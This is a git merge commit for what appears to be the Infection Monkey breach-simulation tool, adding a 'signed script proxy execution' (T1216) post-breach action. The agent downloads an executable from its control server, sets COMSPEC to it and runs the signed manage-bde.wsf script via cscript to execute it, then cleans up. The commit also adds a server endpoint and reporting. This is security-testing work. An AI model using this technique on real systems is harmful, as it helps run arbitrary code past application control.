Merge pull request #776 from shreyamalviya/T1216

Add T1216 attack technique (signed script proxy execution)
This commit is contained in:
Shreya Malviya 2020-08-27 11:08:19 +05:30 committed by GitHub
commit bd062de753
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
14 changed files with 200 additions and 1 deletions

View File

@ -0,0 +1 @@
T1216_PBA_FILE_DOWNLOAD_PATH = '/api/t1216-pba/download'

View File

@ -6,5 +6,6 @@ POST_BREACH_HIDDEN_FILES = "Hide files and directories"
POST_BREACH_TRAP_COMMAND = "Execute command when a particular signal is received"
POST_BREACH_SETUID_SETGID = "Setuid and Setgid"
POST_BREACH_JOB_SCHEDULING = "Schedule jobs"
POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC = "Signed script proxy execution"
POST_BREACH_ACCOUNT_DISCOVERY = "Account discovery"
POST_BREACH_CLEAR_CMD_HISTORY = "Clear command history"

View File

@ -2,12 +2,14 @@ import json
import logging
import platform
from socket import gethostname
from urllib.parse import urljoin
import requests
from requests.exceptions import ConnectionError
import infection_monkey.monkeyfs as monkeyfs
import infection_monkey.tunnel as tunnel
from common.data.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH
from infection_monkey.config import GUID, WormConfiguration
from infection_monkey.network.info import check_internet_access, local_ips
from infection_monkey.transport.http import HTTPConnectProxy
@ -325,6 +327,17 @@ class ControlClient(object):
except requests.exceptions.RequestException:
return False
@staticmethod
def get_T1216_pba_file():
try:
return requests.get(urljoin(f"https://{WormConfiguration.current_server}/", # noqa: DUO123
T1216_PBA_FILE_DOWNLOAD_PATH),
verify=False,
proxies=ControlClient.proxies,
stream=True)
except requests.exceptions.RequestException:
return False
@staticmethod
def should_monkey_run(vulnerable_port: str) -> bool:
if vulnerable_port and \

View File

@ -0,0 +1,30 @@
import logging
import subprocess
from common.data.post_breach_consts import POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC
from infection_monkey.post_breach.pba import PBA
from infection_monkey.post_breach.signed_script_proxy.signed_script_proxy import (
cleanup_changes, get_commands_to_proxy_execution_using_signed_script)
from infection_monkey.utils.environment import is_windows_os
LOG = logging.getLogger(__name__)
class SignedScriptProxyExecution(PBA):
def __init__(self):
windows_cmds = get_commands_to_proxy_execution_using_signed_script()
super().__init__(POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC,
windows_cmd=' '.join(windows_cmds))
def run(self):
try:
original_comspec = ''
if is_windows_os():
original_comspec =\
subprocess.check_output('if defined COMSPEC echo %COMSPEC%', shell=True).decode() # noqa: DUO116
super().run()
except Exception as e:
LOG.warning(f"An exception occurred on running PBA {POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC}: {str(e)}")
finally:
cleanup_changes(original_comspec)

View File

@ -0,0 +1,18 @@
import subprocess
from infection_monkey.post_breach.signed_script_proxy.windows.signed_script_proxy import (
get_windows_commands_to_delete_temp_comspec,
get_windows_commands_to_proxy_execution_using_signed_script,
get_windows_commands_to_reset_comspec)
from infection_monkey.utils.environment import is_windows_os
def get_commands_to_proxy_execution_using_signed_script():
windows_cmds = get_windows_commands_to_proxy_execution_using_signed_script()
return windows_cmds
def cleanup_changes(original_comspec):
if is_windows_os():
subprocess.run(get_windows_commands_to_reset_comspec(original_comspec), shell=True) # noqa: DUO116
subprocess.run(get_windows_commands_to_delete_temp_comspec(), shell=True) # noqa: DUO116

View File

@ -0,0 +1,28 @@
import os
from infection_monkey.control import ControlClient
TEMP_COMSPEC = os.path.join(os.getcwd(), 'random_executable.exe')
def get_windows_commands_to_proxy_execution_using_signed_script():
download = ControlClient.get_T1216_pba_file()
with open(TEMP_COMSPEC, 'wb') as random_exe_obj:
random_exe_obj.write(download.content)
random_exe_obj.flush()
windir_path = os.environ['WINDIR']
signed_script = os.path.join(windir_path, 'System32', 'manage-bde.wsf')
return [
f'set comspec={TEMP_COMSPEC} &&',
f'cscript {signed_script}'
]
def get_windows_commands_to_reset_comspec(original_comspec):
return f'set comspec={original_comspec}'
def get_windows_commands_to_delete_temp_comspec():
return f'del {TEMP_COMSPEC} /f'

View File

@ -6,6 +6,7 @@ from flask import Flask, Response, send_from_directory
from werkzeug.exceptions import NotFound
import monkey_island.cc.environment.environment_singleton as env_singleton
from common.data.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
from monkey_island.cc.database import database, mongo
from monkey_island.cc.resources.attack.attack_config import AttackConfiguration
@ -35,6 +36,8 @@ from monkey_island.cc.resources.pba_file_upload import FileUpload
from monkey_island.cc.resources.remote_run import RemoteRun
from monkey_island.cc.resources.reporting.report import Report
from monkey_island.cc.resources.root import Root
from monkey_island.cc.resources.T1216_pba_file_download import \
T1216PBAFileDownload
from monkey_island.cc.resources.telemetry import Telemetry
from monkey_island.cc.resources.telemetry_feed import TelemetryFeed
from monkey_island.cc.resources.test.clear_caches import ClearCaches
@ -130,6 +133,7 @@ def init_api_resources(api):
api.add_resource(Log, '/api/log', '/api/log/')
api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/')
api.add_resource(PBAFileDownload, '/api/pba/download/<string:path>')
api.add_resource(T1216PBAFileDownload, T1216_PBA_FILE_DOWNLOAD_PATH)
api.add_resource(FileUpload, '/api/fileUpload/<string:file_type>',
'/api/fileUpload/<string:file_type>?load=<string:filename>',
'/api/fileUpload/<string:file_type>?restore=<string:filename>')

View File

@ -0,0 +1,17 @@
import os
import flask_restful
from flask import send_from_directory
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
class T1216PBAFileDownload(flask_restful.Resource):
"""
File download endpoint used by monkey to download executable file for T1216 ("Signed Script Proxy Execution" PBA)
"""
def get(self):
executable_file_name = 'T1216_random_executable.exe'
return send_from_directory(directory=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'resources', 'pba'),
filename=executable_file_name)

View File

@ -19,7 +19,8 @@ from monkey_island.cc.services.attack.technique_reports import (T1003, T1005,
T1158, T1166,
T1168, T1188,
T1197, T1210,
T1222, T1504)
T1216, T1222,
T1504)
from monkey_island.cc.services.reporting.report_generation_synchronisation import \
safe_generate_attack_report
@ -59,6 +60,7 @@ TECHNIQUES = {'T1210': T1210.T1210,
'T1166': T1166.T1166,
'T1168': T1168.T1168,
'T1053': T1053.T1053,
'T1216': T1216.T1216,
'T1087': T1087.T1087,
'T1146': T1146.T1146
}

View File

@ -194,6 +194,15 @@ SCHEMA = {
"necessary": True,
"link": "https://attack.mitre.org/techniques/T1222",
"description": "Adversaries may modify file permissions/attributes to evade intended DACLs."
},
"T1216": {
"title": "Signed script proxy execution",
"type": "bool",
"value": False,
"necessary": False,
"link": "https://attack.mitre.org/techniques/T1216",
"description": "Adversaries may use scripts signed with trusted certificates to "
"proxy execution of malicious files on Windows systems."
}
}
},

View File

@ -0,0 +1,21 @@
from common.data.post_breach_consts import POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC
from monkey_island.cc.services.attack.technique_reports.pba_technique import \
PostBreachTechnique
__author__ = "shreyamalviya"
class T1216(PostBreachTechnique):
tech_id = "T1216"
unscanned_msg = "Monkey didn't attempt to execute an arbitrary program with the help of a " +\
"pre-existing signed script since it didn't run on any Windows machines. " +\
"If successful, this behavior could be abused by adversaries to execute malicious files that could " +\
"bypass application control and signature validation on systems."
scanned_msg = "Monkey attempted to execute an arbitrary program with the help of a " +\
"pre-existing signed script on Windows but failed. " +\
"If successful, this behavior could be abused by adversaries to execute malicious files that could " +\
"bypass application control and signature validation on systems."
used_msg = "Monkey executed an arbitrary program with the help of a pre-existing signed script on Windows. " +\
"This behavior could be abused by adversaries to execute malicious files that could " +\
"bypass application control and signature validation on systems."
pba_names = [POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC]

View File

@ -71,6 +71,16 @@ POST_BREACH_ACTIONS = {
"info": "Attempts to create a scheduled job on the system and remove it.",
"attack_techniques": ["T1168", "T1053"]
},
{
"type": "string",
"enum": [
"SignedScriptProxyExecution"
],
"title": "Signed script proxy execution",
"info": "On Windows systems, attemps to execute an arbitrary file "
"with the help of a pre-existing signed script.",
"attack_techniques": ["T1216"]
},
{
"type": "string",
"enum": [

View File

@ -0,0 +1,45 @@
import React from 'react';
import ReactTable from 'react-table';
import {renderMachineFromSystemData, ScanStatus} from './Helpers';
import MitigationsComponent from './MitigationsComponent';
class T1216 extends React.Component {
constructor(props) {
super(props);
}
static getColumns() {
return ([{
columns: [
{ Header: 'Machine',
id: 'machine',
accessor: x => renderMachineFromSystemData(x.machine),
style: {'whiteSpace': 'unset'}},
{ Header: 'Result',
id: 'result',
accessor: x => x.result,
style: {'whiteSpace': 'unset'}}
]
}])
}
render() {
return (
<div>
<div>{this.props.data.message}</div>
<br/>
{this.props.data.status === ScanStatus.USED ?
<ReactTable
columns={T1216.getColumns()}
data={this.props.data.info}
showPagination={false}
defaultPageSize={this.props.data.info.length}
/> : ''}
<MitigationsComponent mitigations={this.props.data.mitigations}/>
</div>
);
}
}
export default T1216;